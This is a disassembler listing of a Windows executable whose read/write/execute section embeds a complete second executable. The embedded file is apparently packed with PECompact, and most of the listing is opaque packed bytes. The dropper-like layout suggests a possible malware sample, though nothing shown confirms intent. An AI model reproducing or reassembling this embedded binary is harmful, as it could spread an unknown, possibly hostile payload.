		dd 33B833A9h, 33DF33C7h, 345333F3h, 34D434B0h, 34EB34DFh
		dd 34FD34F4h, 352B350Ah, 355C3535h, 35A13573h, 35EB35C7h
		dd 36333611h, 36753655h, 368B3682h, 36BD36A8h, 36DB36C9h
		dd 370C36F5h, 37433722h, 37553749h, 37673760h, 37A5379Dh
		dd 37E337C0h, 381437EFh, 382F3824h, 3850384Ah, 38793869h
		dd 388D387Eh, 38C838A5h, 38E138DAh, 3972390Fh, 39BC39A4h
		dd 3A3B39D0h, 3A583A4Bh, 3A6E3A63h, 3A843A79h, 3A9A3A8Fh
		dd 3AB03AA5h, 3B213B02h, 3B473B31h, 3B723B68h, 3BAF3B99h
		dd 3BC33BBBh, 3BD73BCBh, 3BED3BE5h, 3BFC3BF6h, 3C0D3C06h
		dd 3C1A3C12h, 3C403C35h, 3C823C4Ch, 3C983C8Ch, 3C9Fh, 2000h
		dd 0Ch,	3000h, 0D6h dup(0)
_0		ends

; Section 2. (virtual address 00006000)
; Virtual size			: 00009000 (  36864.)
; Section size in file		: 00009000 (  36864.)
; Offset to raw	data for section: 00006000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_1		segment	para public 'CODE' use32
		assume cs:_1
		;org 406000h
		assume es:nothing, ss:nothing, ds:_0, fs:nothing, gs:nothing
dword_406000	dd 0E6h	dup(0)		; DATA XREF: _1:0040E131o
		dd 905A4Dh, 3, 4, 0FFFFh, 0B8h,	0
		dd 40h,	8 dup(0)
		dd 100h, 0EBA1F0Eh, 0CD09B400h,	4C01B821h, 685421CDh, 70207369h
		dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h
		dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0
		dd 0F5828325h, 3 dup(0A6ECE261h), 0A6E0FE1Ah, 0A6ECE260h
		dd 0A6E2FEE2h, 0A6ECE262h, 0A6E7FD0Eh, 0A6ECE260h, 0A6E6FD0Eh
		dd 0A6ECE265h, 0A6E8FD0Eh, 0A6ECE263h, 0A6E8C457h, 0A6ECE263h
		dd 0A6EDE261h, 0A6ECE2C0h, 0A6FFFD03h, 0A6ECE26Eh, 0A6E7C457h
		dd 0A6ECE277h, 0A6E8C29Eh, 0A6ECE260h, 68636952h, 0A6ECE261h
		dd 6 dup(0)
		dd 4550h, 3014Ch, 45D07DCBh, 2 dup(0)
		dd 210E00E0h, 6010Bh, 0B000h, 0E00h, 0
		dd 0D2A4h, 1000h, 0C000h, 10000000h, 1000h, 200h, 4, 0
		dd 4, 0
		dd 0F000h, 400h, 0
		dd 2, 100000h, 1000h, 100000h, 1000h, 0
		dd 10h,	0D014h,	3Dh, 0D0B4h, 244h, 6 dup(0)
		dd 0E000h, 10h,	14h dup(0)
		dd 7865742Eh, 74h, 0C000h, 1000h, 4A00h, 400h, 32434550h
		dd 75284753h, 0
		dd 0E0000020h, 7273722Eh, 63h, 1000h, 0D000h, 1000h, 4E00h
		dd 0
		dd 3F290753h, 0
		dd 0E0000020h, 6C65722Eh, 636Fh, 200h, 0E000h, 200h, 5E00h
		dd 0
		dd 2F291733h, 0
		dd 0C0000040h, 64h dup(0)
		dd 0DCD8h, 0B98Dh, 4927h, 40002h, 0FFFD6F00h, 1B4380FFh
		dd 0C43430F7h, 0B140FE96h, 0ED119A68h, 1F1C523Eh, 80FD2FD7h
		dd 98830ECFh, 667D4F9Dh, 0D79763F9h, 2769AF28h,	579A092Ch
		dd 1180C014h, 33D80F3Ch, 0E177CC15h, 4C841779h,	26A79964h
		dd 47C2F40Fh, 95BCF3B6h, 1FDDA5CEh, 0C1DEA155h,	1F06A524h
		dd 5743B98Ah, 0DF1B82C2h, 0C1997BFEh, 28892D50h, 4BA0187Fh
		dd 0B8C8F617h, 0B06576Fh, 34DF1C51h, 54B38EEh, 0FA84EDA3h
		dd 0E1BF8474h, 8785DAF3h, 13DEF266h, 47AD65BFh,	4BE97F2Eh
		dd 0D8799FD9h, 0ED05ADB0h, 0D7E5AD43h, 4FEBD905h, 87683E7Ch
		dd 0F4FF6E2Ah, 55165AF0h, 0CA5D126Dh, 0BBA62665h, 0B6C7EC76h
		dd 4389239h, 1B0C9C28h,	0DB4272ADh, 0E15242ADh,	5036BEE5h
		dd 43F152DAh, 2D6B89B7h, 703A2A28h, 5FB83218h, 49D6C685h
		dd 9B1B572Eh, 276D993Ah, 5B17208Eh, 230BD147h, 9D8D87CDh
		dd 35920D04h, 0DEA62003h, 992C22F1h, 4AAF9759h,	77C63D50h
		dd 819C50CBh, 7CACDBCh,	0D4756296h, 38014976h, 0F79855h
		dd 0FF1CAA83h, 5208D76Dh, 0F14B5264h, 89A66756h, 2C24953Bh
		dd 751677D5h, 3BD83694h, 276E167Fh, 6137B1B1h, 5D1462BBh
		dd 0D8CA1304h, 0F5F6A4FCh, 90793CC0h, 0B2F1A841h, 0E1BCF9D1h
		dd 0D717C064h, 561ADF08h, 61A71B6Ch, 195570E8h,	3C127A51h
		dd 0D3E1DC31h, 59A5FA29h, 0A6006D61h, 307206DFh, 3F445CA4h
		dd 0F3CD9680h, 33446753h, 97959860h, 4BF71618h,	0C5C782DEh
		dd 8ED50972h, 0AD480D2Bh, 0A02D9E0h, 0B08DB2A6h, 0D7781466h
		dd 473E05E4h, 2B54E1h, 0AC4C595Eh, 3D90F731h, 57BB9480h
		dd 2D978BCFh, 5E2ECDC0h, 5DCE7B19h, 0E7932D03h,	0F2920AB4h
		dd 51D0AB93h, 57201D14h, 9D0DD631h, 0F1558F1Ch,	0B601B0EEh
		dd 1AF59DE6h, 5969B4A0h, 66781184h, 896BEFF3h, 52AECD45h
		dd 73D6010Dh, 8094EF3h,	70FF1415h, 0AB5EB95Dh, 3954E0C8h
		dd 788B8FE3h, 5F96E66Ch, 33ED5E24h, 491902B8h, 0ED4F4FB1h
		dd 736481E5h, 0FC9D25F5h, 4A7F4166h, 4982814Ah,	309AC8DFh
		dd 594C7C44h, 0FE7163A1h, 31F1E919h, 0B932CCE8h, 81002D74h
		dd 0D89D7933h, 12B9DFB3h, 4C651274h, 40184005h,	321E31CCh
		dd 94FACD0h, 0FA5E450Ah, 6FC89604h, 47E1C02Fh, 0B2BFBA89h
		dd 35D991DFh, 10242979h, 62B9128Ch, 0D2F44EC0h,	8E86ED0Ch
		dd 8D3D65B2h, 0DE8F4E7Eh, 3499EEDDh, 0C52BC7B6h, 8C4A0B9Eh
		dd 7C8DB232h, 761D336Ah, 1B322DC4h, 0C894B38Ch,	0C1F0F280h
		dd 6385DE0Fh, 7B46F99Fh, 10C57C9Ch, 0A48A3395h,	77C233C6h
		dd 379BA993h, 0C2D6CA1Fh, 0D020BAF2h, 1B345466h, 801916CCh
		dd 0CE7934F9h, 7C1D9B7Dh, 0CA5D4E59h, 0DB494927h, 0A375264Dh
		dd 55E0E403h, 0EACFDAC1h, 0C8B48E29h, 0C3785F52h, 0D151828Ch
		dd 1D8363E2h, 521B33B9h, 54141B7Eh, 3F275612h, 0C4FB27C0h
		dd 9F60C5CCh, 7F7D1E58h, 5F1BA735h, 87B0C0A8h, 0F84D8C9Fh
		dd 4FC9E424h, 0BA4A2774h, 0AA437169h, 32393DF2h, 0FB28FF13h
		dd 71E1D3FAh, 0F2D2E3B2h, 0BDB97CB6h, 0E87535EDh, 5224C10h
		dd 0F86FC834h, 46076744h, 9D27C745h, 0A1996C0Fh, 8E61EE87h
		dd 47BB96F6h, 0DB5CA04Fh, 0E6C6A23h, 0A8527173h, 0A2F55A21h
		dd 0B074E48Eh, 0FABC6F1Ah, 21CC9943h, 4BA123FFh, 0B22D5D2h
		dd 8D76BC00h, 0EA6D7035h, 4F2AC4D4h, 53D78DD9h,	670D2691h
		dd 9F1BE9AFh, 1F48DE13h, 61218D4Eh, 0A911D3DAh,	145EB0B6h
		dd 17F0724h, 3C55D0B2h,	31AA4A55h, 1DF3C41Bh, 43553ECCh
		dd 9FF3DEB1h, 0A4559244h, 557E7026h, 0BCC44E4Bh, 0CD559637h
		dd 0AB517D69h, 92F855Bh, 0C987220Bh, 0F05C82F2h, 0DE671B21h
		dd 0EDE584E6h, 946C2BACh, 0CB30931Ah, 1E209598h, 7436BCACh
		dd 9D23002Fh, 0AF845569h, 23A0C214h, 0C53EA42Ah, 5D4A3FB6h
		dd 4C7BCE99h, 8997EBDFh, 1715313Bh, 5A931E0Bh, 2C8DD567h
		dd 0BF9BF6B2h, 5F6128B5h, 0EA083E84h, 0A91E0FDBh, 0F1C15526h
		dd 0A9764B07h, 0DCE254FFh, 163A42D1h, 25E1D6EDh, 80435EAAh
		dd 4D07D59Bh, 184257CAh, 0CBEF44E1h, 633F6634h,	310D9F0h
		dd 8FDD57EEh, 6B9C10EEh, 0F2AB9387h, 6D5DB267h,	0A2E4F15Eh
		dd 41327E40h, 7C6E4E0Fh, 95CC6E3Ah, 0EB6A0245h,	990BB244h
		dd 8A8964A3h, 0AD060A4Fh, 940CE3A6h, 75EC1F94h,	0BDB48625h
		dd 25BEB12Bh, 8B336D67h, 31F0F72Fh, 0C85669C7h,	57028A28h
		dd 55306283h, 59DE502h,	0BA0CD6A0h, 80D14FB6h, 4F7739C3h
		dd 46FB27C9h, 0C11035C4h, 3FFCDFDDh, 43498AF6h,	523BDA41h
		dd 312E36B5h, 24748C5Dh, 0C150881Dh, 0AA0459B3h, 0D5C2A8AAh
		dd 4862523Fh, 219EB325h, 578864E5h, 0E876CE82h,	9B70D0D0h
		dd 0F498CA77h, 0D01380A3h, 5A1A86ABh, 7A245739h, 0B42B1EA1h
		dd 4CFC1690h, 30A17536h, 465DDA59h, 2DCAB5A2h, 8374858Bh
		dd 7714220Dh, 37735CCCh, 61C7308Dh, 9871CAE3h, 49497364h
		dd 0F31DE346h, 40085DD3h, 955C3D6h, 1356DE53h, 0DCAB0BA0h
		dd 751D1CE2h, 6134CD5Ah, 0A65CE826h, 73D2932Eh,	2986F93Ch
		dd 0ADCBB05Bh, 0D44BD208h, 1A1EDEABh, 0C4E461A6h, 429BF9B6h
		dd 2ED4996Dh, 13F7E949h, 0BD62C2C8h, 0A9468E92h, 0F7E318E1h
		dd 0ACA96975h, 7F16FADFh, 6E59A84Dh, 50658DFBh,	1BAFC277h
		dd 0E41E39DAh, 19745DD3h, 786F8C0Ah, 0FA644362h, 1742E4E4h
		dd 22601FE7h, 9B8C915h,	11EA38ABh, 264C933Fh, 0E8FDC4A7h
		dd 275295E0h, 210B1BCh,	0E675BABDh, 0B4466E0Eh,	58729B01h
		dd 96B5ED80h, 6CEAE357h, 0AA7F1800h, 685F81B1h,	63935120h
		dd 9D750C14h, 79E079E9h, 20F815C5h, 0AF45BA77h,	0FE9E3C63h
		dd 93688143h, 0BC021B53h, 0E809DF86h, 0FC99E190h, 0D935DC89h
		dd 9A52359Fh, 17E508C4h, 4215DA8Ch, 0E16B56C0h,	4B1DC7AAh
		dd 28263139h, 0B92806EEh, 3F579482h, 0E848A1F9h, 4BB871F3h
		dd 0C2C8A66Eh, 5E9DDFFBh, 0C699D4F5h, 27BC32C6h, 0FF670802h
		dd 2B376A43h, 0C81785CEh, 0E6FFC2BBh, 3B5A2122h, 2A8BCA22h
		dd 78E3B518h, 3F31287Eh, 56BF8564h, 0C74284FFh,	5EADE3C5h
		dd 14E34EC8h, 0DB76E25Fh, 14807153h, 9CD67E17h,	9424B0D4h
		dd 663102FCh, 2483DF9Ch, 0D79FA00Bh, 51C6E888h,	931B2268h
		dd 17F6B881h, 0B135E74Eh, 0C5D57D9Bh, 0B7F273C4h, 0C271B895h
		dd 532768A2h, 929AAD8Ah, 24BEBA82h, 0CFEFBBB0h,	2AB386BCh
		dd 6D8E2828h, 0C6F27A69h, 69847822h, 23B1EB54h,	25F93447h
		dd 0CEE2B07Fh, 34FA85F0h, 137C0ED0h, 4DBEA256h,	709E5203h
		dd 49EB3F14h, 0E3D2D195h, 0A68027B9h, 9661883h,	0D8D8F1E2h
		dd 0A4D04AF5h, 4434996Fh, 0D2471FD7h, 0B3EC26h,	5A190A2Ch
		dd 473B8B28h, 9B309DFEh, 0F46DDFC7h, 0AF975650h, 3A8A9610h
		dd 0B77960CEh, 27114C2Ah, 13908C18h, 97D0E395h,	6DA789A0h
		dd 0E2CC06C8h, 78B5A575h, 0B6A24327h, 9E0A65F2h, 285AEA96h
		dd 0BEDC4B31h, 9660AB5h, 5467FF78h, 6F1CD0BBh, 0C1DC7294h
		dd 0C042640h, 55711B1Bh, 756A2FAAh, 0F411173Fh,	0AB6C7069h
		dd 0B60CFB5h, 0C7CBD23Fh, 0EB6387A3h, 989F5BB5h, 6E0C7548h
		dd 1C9323CBh, 0BB0DF09Bh, 93FAB6Fh, 3B4AA6A1h, 0E08B91DAh
		dd 0D9279542h, 0A085A9D8h, 6B2A01B0h, 8BA99F4Bh, 206F7AE0h
		dd 5F028B0h, 0B199FAD1h, 0BFF8C35h, 0B7015313h,	1DC3457h
		dd 0D591E8B9h, 45B856D1h, 222619ECh, 0FF7DCEECh, 7756800Dh
		dd 5F1BF849h
		dd 4E123BB8h, 0BC662CC5h, 0AC764F88h, 0E3C35EC2h, 0BDC9E20h
		dd 0A412F31Bh, 0E83F6EEDh, 3F32ED61h, 0E3A0DB7Ah, 0DFC64AF2h
		dd 0F32A2288h, 0BE70E5E0h, 4B4281F4h, 65874035h, 8E7AC3D3h
		dd 0E2D7CA8Fh, 0CD3589C8h, 5F5E9202h, 3BC9604h,	0BBF6D481h
		dd 6A3534B5h, 786CD7C9h, 2A9FA527h, 0D436066Dh,	0A55557E7h
		dd 0B0E850Bh, 510D72FFh, 4E4B0F65h, 269E098Eh, 1D60012Ah
		dd 8AB7F764h, 16F0A8Bh,	9B9F816Fh, 0BEFE6F9h, 67EDA629h
		dd 41657930h, 4E5E2F3Fh, 8E475A0Ch, 0F0018D3Ah,	3CF590FFh
		dd 0E9FB90F7h, 89F088C9h, 3C673D57h, 93924992h,	7874A69Bh
		dd 35C41EB0h, 0F39516B0h, 0A582533Fh, 7C416200h, 0DD3DF7CFh
		dd 0D5ED38AAh, 0F2C9B4B3h, 433278F8h, 0A3C7AD2Ch, 0AEB3FC88h
		dd 4EAF1E0Ah, 784D6A2Dh, 0B0391AFBh, 530DA787h,	0D729B350h
		dd 60C2F049h, 3902D0E9h, 5709B0A5h, 0CD6C5EEFh,	35F12D48h
		dd 0BA2F110h, 0D4C378AAh, 40081463h, 3662B95Ch,	6F8F919Dh
		dd 0C109E412h, 959C238Dh, 72158C78h, 7B9467ECh,	50AA8767h
		dd 495B478Ah, 1A879AE8h, 3352F81Eh, 0F2356432h,	7A852BAh
		dd 90F8B4FAh, 2909696Bh, 0C1C9836Ch, 0B5C62AACh, 385B38A4h
		dd 0AF1D6109h, 7938A5F5h, 706518B0h, 0D720451Bh, 5A4A77ADh
		dd 0C534EF55h, 0D45CC42Ch, 0CD96E3EEh, 58FE0C86h, 98110402h
		dd 99B4A3C4h, 0A305383Ah, 9E54E6F8h, 0F3F7FAD6h, 0F8AC7021h
		dd 9C2F15EEh, 77A99A7Bh, 0F86BDA9Dh, 5FB63A6Dh,	64462ECBh
		dd 219BD666h, 6D9CB00Dh, 0B4F0FFFBh, 0BFF73CFDh, 2145A2B4h
		dd 0EC3E79D9h, 259C8007h, 6C9F0916h, 8EFD8589h,	0EC242048h
		dd 0AF1CE7C7h, 0BFD47574h, 58C76E03h, 6E9D8CF7h, 0D7425D27h
		dd 0B89ACD95h, 4619B228h, 0B69D623Dh, 8D76DE4Fh, 0F11EA78Dh
		dd 91AEDD00h, 0FF9D5A72h, 64CC889Ch, 1B1AFEFAh,	0B239B41Eh
		dd 28B33416h, 47AA9A7h,	0F6473825h, 64AF5413h, 0A7D14265h
		dd 0A242639h, 0CF3E5B5Fh, 34581486h, 0C7DA95DBh, 5DEBF35Fh
		dd 0D01B8441h, 3A1932Fh, 4208CD47h, 8C73FBB9h, 0BC2BC841h
		dd 0C8DC8D63h, 0A7C330BAh, 0E7BBAF8h, 4BE3730Bh, 1D756762h
		dd 80D38C5Fh, 0B2B1DA28h, 31A1DBA5h, 0FE03076h,	6DB9F440h
		dd 9206B25Eh, 1D8BB3B6h, 8AB93F12h, 5977778h, 11C6ACE3h
		dd 0A4CE3FD2h, 11C36427h, 0FECD4E3Fh, 2F01AA34h, 0F5EAAAAEh
		dd 81167ED4h, 1330844Fh, 6B25F7Fh, 432BF823h, 39FEB138h
		dd 5661FFBEh, 0F0FEC298h, 8DD3AFFCh, 0B2D045B6h, 0D11A82DFh
		dd 652AF96Bh, 6A88AEC1h, 1610E2FAh, 6C9A8FC8h, 8E7CF554h
		dd 450FB3A4h, 0CC30D23Dh, 0EC556A06h, 3295217Dh, 6F00DCC1h
		dd 0D21E791Ch, 0F5966BA0h, 0B2D743C9h, 0C91407B0h, 0DAC054E0h
		dd 2E7E7C34h, 5A448C27h, 943BF076h, 759B936Bh, 467B9272h
		dd 304C19AAh, 0D041AAh,	0CFA4B1B3h, 0E4DF8B84h,	0F51BC2F4h
		dd 35F0392Ch, 4FC1323Dh, 0FD19B6D0h, 0CEF12C22h, 0B111AB20h
		dd 1C923645h, 0B93DD308h, 0C2D5D910h, 0E69B2F7h, 78103257h
		dd 5301790Ah, 4AC4C8FAh, 746956E3h, 0EBD7853Ah,	1FE6CF17h
		dd 2CAB7906h, 9DFA00B5h, 0DEA692A9h, 7F2BF57Bh,	7477F023h
		dd 0E638F28Ah, 595625CDh, 0D0136B16h, 1A50D65Fh, 7CE9E8D2h
		dd 0B0306A04h, 840FCD95h, 0C6D65366h, 0AB3E3EA6h, 3C23D88Bh
		dd 0D080D308h, 0F3CCF380h, 0B1CEE582h, 3B053774h, 0D223C17Fh
		dd 8C7820Eh, 0D53F1A4Fh, 3800AFCEh, 9DC62486h, 0C8733E27h
		dd 0A8620CA8h, 0AA2BE384h, 128BC349h, 2BD8C964h, 4D7053D3h
		dd 7CC63457h, 0A22C37E2h, 8D5465CEh, 0C45E86B1h, 0E605F960h
		dd 9E6FA858h, 7CA55D38h, 6F98B64Ch, 3EBD5E11h, 0A8DBDAF1h
		dd 11BBF0AFh, 0D0E17FFEh, 0D3BB9EC8h, 243A51E0h, 0B3E19165h
		dd 5008B37Fh, 0BF6C6691h, 70A3189Ah, 2D9C50BAh,	0E5F56989h
		dd 0D196798Dh, 997E9A44h, 8071B65h, 5D840154h, 635D269Ch
		dd 2811A123h, 204DC62Dh, 16DD2A83h, 0F8315E50h,	455AA8A0h
		dd 0C3C54307h, 1C2CAB7Eh, 7026CFDFh, 0DFEB9E32h, 0D34AA5BBh
		dd 1D7BF8F5h, 4F412B96h, 0A041C193h, 79367961h,	0B6FC05B1h
		dd 0D7F98C2Ah, 22C7A6ECh, 400EB57Bh, 495A22DBh,	4D799335h
		dd 89E98FC7h, 9E90023Ah, 8B64F3A1h, 76A41D1Ch, 11B16E8h
		dd 40AEE4D2h, 0C657924Eh, 0BC63CBB4h, 323FDF7Bh, 30ADF242h
		dd 0EAAE11DFh, 0E523AC08h, 3CA3CCCCh, 881CB36Ch, 3356E9E6h
		dd 37299C12h, 22C2A7EFh, 0ADE7A19Fh, 9E98F59Ah,	0BA0F137Fh
		dd 270B1279h, 0F2AFE5CEh, 586C0C5Eh, 83736560h,	894F43BDh
		dd 52022FCFh, 5599BA86h, 38D865D4h, 0A8D01E67h,	0BD5D7A81h
		dd 802AAD41h, 3DF2BDCFh, 778CFB73h, 0D27DF75Ch,	20F2401Ah
		dd 4568FFA9h, 0B750DA68h, 8BDA5EA7h, 0A5B651E1h, 73439568h
		dd 0A6F9271Fh, 88A2C2A6h, 0E5283893h, 0E97950CAh, 78F08DD4h
		dd 8B4F1EA9h, 380CC3E6h, 0EE02EE84h, 0EC5A0605h, 630C33DBh
		dd 0B5B9D8FDh, 0C59B3D81h, 40E44972h, 6895A1F9h, 24CC1C73h
		dd 65D8DCE3h, 5EA5F906h, 0D57B357Ah, 76659DB6h,	0EB0D1625h
		dd 0DF67A75Ah, 806FA486h, 0BD126CFEh, 6DC1F96Fh, 26A4D0D9h
		dd 2281B1Ch, 47CC1FFFh,	89BD3CECh, 89C50E7Ah, 0AB0B7089h
		dd 0FA89620Fh, 5D47F22Dh, 0A74966C0h, 6C9B9F94h, 0EA7FC220h
		dd 0B84B93B1h, 0C67F17E1h, 0E1026576h, 0B6A72670h, 0D53D40FCh
		dd 93CA7825h, 0CBC2E4Dh, 36A2C5Eh, 0FE6D824Dh, 0D102D58Ah
		dd 0B6C76DA4h, 0F934D2CAh, 7D88583Eh, 7241E3ABh, 0DC16884Dh
		dd 0D1ECD1D8h, 68457E36h, 0C406334Dh, 43BF5AA8h, 469D3ACBh
		dd 33C329E7h, 0F245E85Dh, 0B9A45F7Dh, 70AECBE5h, 0F3A334E4h
		dd 172C7E3Fh, 0FE6F701h, 0E556888Bh, 29EEA65h, 0ABBB3A02h
		dd 16EBC247h, 0F2A97D70h, 0A7C367Fh, 64315640h,	4265BD3Eh
		dd 0F9BD8BCh, 0B08CAC5h, 5BA3EC89h, 7CC30B0Ah, 0D3A3F9E9h
		dd 0F99582E8h, 17A7C9F5h, 1425EF35h, 57807929h,	0C081004Eh
		dd 84183E65h, 9AA70C5Ah, 27285D4Ch, 3FE75EF5h, 0B9CF6F30h
		dd 0B21C1FBEh, 981F464Eh, 32AB1DE1h, 0F86DF2D1h, 0D20DF22Ah
		dd 0CC0CA24Eh, 3F086B30h, 0EABD7EA9h, 1B8C5D5Dh, 0E2CCA36Ch
		dd 58106D39h, 0F6C8FCDh, 5C92D407h, 1D3F1A43h, 0D7788A15h
		dd 0ACA0ADF4h, 0FD0E7106h, 0B145A3D6h, 48053C94h, 899B366h
		dd 0E138DF85h, 0B2855F6Bh, 0D2999B0Bh, 9A45ADEFh, 7FA977EEh
		dd 0EE926D02h, 0EDA00123h, 6E7DA7C5h, 96DA2620h, 0D9340080h
		dd 2BEAA673h, 0AEA2CB01h, 4AB572ACh, 46CAD73Fh,	0E34FBEC2h
		dd 6F211580h, 0D69D307Bh, 3BAC8923h, 4CA8DFC0h,	78313560h
		dd 806420D4h, 0C3C70A4Eh, 0E22504CEh, 6C2ECDBFh, 0F0DB2A94h
		dd 0E0B36C05h, 4C68E1BEh, 0B6C72BAAh, 0B9F836B7h, 3402AEBCh
		dd 0AE999A01h, 712D1A5Dh, 9DD93A19h, 2A618BF3h,	0AF0EA559h
		dd 45556D6Bh, 4EEFCB79h, 8EA35DFDh, 0D99F68F9h,	0B96E7E45h
		dd 4EE47E62h, 0E8D42605h, 8EF0EA5Dh, 0BEF96EE5h, 9AE6A345h
		dd 0D11B239Dh, 0B52EF126h, 0D7310235h, 31FBCD12h, 0C0DD578Eh
		dd 0D87F7ED1h, 65A45A53h, 0C0E4C781h, 0B9FD5E14h, 42DBCD50h
		dd 3DC1A7CDh, 9ADCE33Ch, 1125868h, 0F4C04668h, 0ED6EC27Fh
		dd 4739903Bh, 0EC7B5680h, 8A8313Eh, 26C679EBh, 123C163Fh
		dd 44AAE836h, 91D0B2Ah,	0F42AD93Bh, 0D754D2B4h,	11B6AB09h
		dd 8206FF9h, 0A8BE15E2h, 0B3CD16ABh, 0AE1A0360h, 8644ECB8h
		dd 0FA60021Fh, 0BD3F8F06h
		dd 62D7D73Eh, 0CC5EF241h, 0AD9E760Eh, 0C7F29460h, 17F53700h
		dd 2473D4A8h, 0E7F0E1D3h, 29163D09h, 353445F8h,	4FFDF250h
		dd 0F2770624h, 6E80A686h, 7577A160h, 0F28F9395h, 0E1A26D60h
		dd 0F1F90618h, 0D6DA71B8h, 95C0816Fh, 0EC9DEF2Ah, 7F51BC45h
		dd 0B0B5A735h, 7B748FE6h, 0D9AFBE0Ah, 0E9F010B7h, 0A53CEFCCh
		dd 3E486E64h, 67726BFAh, 8435691Ch, 0CFB734BCh,	0D5A10B4Dh
		dd 3131CA8Ah, 931AC404h, 6EC83587h, 9CEB6071h, 37F9B0EDh
		dd 4FD1232Dh, 0D24D10FAh, 700913FDh, 0F24641FFh, 0C871BC16h
		dd 8B2855AAh, 48B95545h, 0B65EB432h, 0D1A4C6A4h, 54D067CEh
		dd 5291964Dh, 0F33139ECh, 7C5217DEh, 0DB7706A4h, 16595873h
		dd 40CD70BDh, 8CA1B4CBh, 0FEEEBFF3h, 252ED4DDh,	696B16h
		dd 95A1234Eh, 9055EB83h, 833ED70Eh, 617086B5h, 97AC9F55h
		dd 13D86C0Ah, 0B53D1501h, 0D05C93A6h, 4DBAF2D1h, 21D63BEFh
		dd 0DE32681Ch, 0CA539681h, 0A342DB55h, 29D3DB36h, 502E0A17h
		dd 12426F6Dh, 19B3CE6Eh, 0BEDA99EEh, 735E28C6h,	466570C9h
		dd 9F092DAEh, 0D5F76496h, 0C04DC9DAh, 8298C8A0h, 91A84183h
		dd 63D9E71Ah, 81D33F2Ah, 88458DA4h, 0ECE9C78Dh,	5A324909h
		dd 1037123Ah, 0ED54247h, 0C4B2B6EEh, 0C56DBA6h,	0D215BEFDh
		dd 421A508Ah, 63663042h, 1ACA8DF1h, 0DE620166h,	7F5D6563h
		dd 92FB44DEh, 0AD6F221Bh, 6154F638h, 0EEF64C23h, 0A0A7E0AFh
		dd 9E913164h, 3F3B02FDh, 2125C682h, 0B215EF80h,	96EAB259h
		dd 47D9DDDAh, 36BF7AA1h, 58C4C7A1h, 0AE80FA12h,	3A3E7E96h
		dd 8D387C3Ah, 5EA90538h, 31010334h, 176612CCh, 0B4CD63E0h
		dd 69A8E0E0h, 50AB8761h, 0E68143B8h, 9CFE5171h,	0C71C8724h
		dd 915B89BAh, 0A024E73Bh, 0F8120146h, 3D4FF88Bh, 3ED1442Bh
		dd 14EFABBCh, 2AA70F9Dh, 32A40763h, 0A37A4D8Dh,	15E62F89h
		dd 523D4D62h, 0BBEA60C5h, 5746E43Fh, 2B24336Bh,	572BF8CAh
		dd 2CF0CCEh, 0EA3CB097h, 60BA7036h, 3B2E2DD3h, 31731D15h
		dd 8F6478D8h, 0C88B53B6h, 9A696BEDh, 6BDB1C23h,	325A8D3h
		dd 0C91992AFh, 9F625C89h, 0B02C5F3Ch, 0DB3F6625h, 2399902Eh
		dd 0C326AD58h, 0DEEA7Eh, 0CF5F8826h, 119D347h, 0EB64BF50h
		dd 59D293F2h, 4C82E377h, 929DCC59h, 20C1369Fh, 7EA9B88Fh
		dd 14B7992Eh, 0F34EF90Eh, 381C566Ah, 77879F56h,	1B4FA612h
		dd 6EE49202h, 181375FEh, 95F0E990h, 10E02DCCh, 1B655F8Fh
		dd 0A0E9FB99h, 71B7ECE6h, 0C59AC723h, 0AF9BE725h, 772172A8h
		dd 588F151Ch, 0DB323C70h, 0D507A102h, 78DA424Eh, 0F40D54C8h
		dd 466D6B23h, 22D9394Dh, 16AF724Ah, 0CFC085FCh,	7CCC2D6h
		dd 51236285h, 0C7268E43h, 9FECCD79h, 0D35C98EAh, 228EE74Eh
		dd 568505CBh, 0E1F4CF16h, 1BB07767h, 678825BDh,	6A1E0DA2h
		dd 26A01B43h, 6E71A2B8h, 0B22531Dh, 0ED0ADBEBh,	7907A6BDh
		dd 0AE0532C0h, 323640ACh, 0AFCDE8AAh, 0BF23AF50h, 5F75C2C7h
		dd 3BC80559h, 0CF727D8Bh, 1F573B49h, 34F73E43h,	511F706Dh
		dd 57BFAFB6h, 0CD58C3B4h, 5BBB5C7h, 606C2074h, 0CAC32D3h
		dd 51F0EADDh, 0C85F12F0h, 48215ABBh, 0A509A972h, 0E278FEA5h
		dd 0FBD4030Ch, 0E280DE91h, 8CDE52B9h, 63B5B2Ch,	0FFBDC3EBh
		dd 8B201BEEh, 69CAE2BBh, 22BFC929h, 765FC334h, 0BAC51AC1h
		dd 0FD78FAC2h, 20C6652Bh, 0FE2EE2D9h, 0C319E5EFh, 2172F565h
		dd 0D43A307Bh, 9C1B5D36h, 0DDF4D5DEh, 41AAFFACh, 0A3931ECBh
		dd 512C3C4h, 0BA0FA716h, 22A0D4D9h, 0A678D903h,	0B3EC9C9Fh
		dd 0B92459B3h, 0E0EED2A4h, 17BFEC5Ah, 0F620A8B4h, 0B65D3E16h
		dd 5C450EA0h, 0CE6C765Ah, 0EBF2E1E2h, 3809EAD9h, 0CFE91FAEh
		dd 4C97B1D0h, 92AE331Ah, 75010E66h, 0C7091B5Eh,	316F019Fh
		dd 17024764h, 0C64D61BCh, 0C9278478h, 0D9CF8A43h, 125547FAh
		dd 8B084FDDh, 0A0EDE89Eh, 57BFB5E1h, 8BD12A86h,	77FB262h
		dd 3497DA9Ah, 0E1041A47h, 86DBB9DFh, 66072022h,	5F2020C9h
		dd 1BB45494h, 51C8C86Ah, 0DAE81F74h, 0B7A6585Fh, 9565773Ah
		dd 926830F2h, 74768FE0h, 235EBBA0h, 1B78B1FBh, 20810222h
		dd 7EE460CDh, 0BAB99C18h, 0D276E9A1h, 80C945EBh, 8AAFBF42h
		dd 297809DAh, 0E79CBD96h, 8B3B400Fh, 99408FB4h,	208A5CCBh
		dd 35B1A15Ah, 34F7D0A4h, 687751E9h, 0F5065FB6h,	0C3EFDA22h
		dd 40B849CAh, 6B7831B2h, 0F4DDE7A8h, 0AA260B55h, 22480CB9h
		dd 119F17CEh, 9091B156h, 0E94122A6h, 0B8BFDBB8h, 0D8EC0202h
		dd 0C294BC56h, 68EAF1DAh, 0ED2DEEDDh, 0EE06DC53h, 0AEB8C60Ah
		dd 0C0EE0B4Bh, 0F542C908h, 4CE33663h, 36B990A6h, 8124A04Dh
		dd 0F7A3CDDEh, 82C86CC6h, 62233AC0h, 82802B44h,	0E8607B7Ch
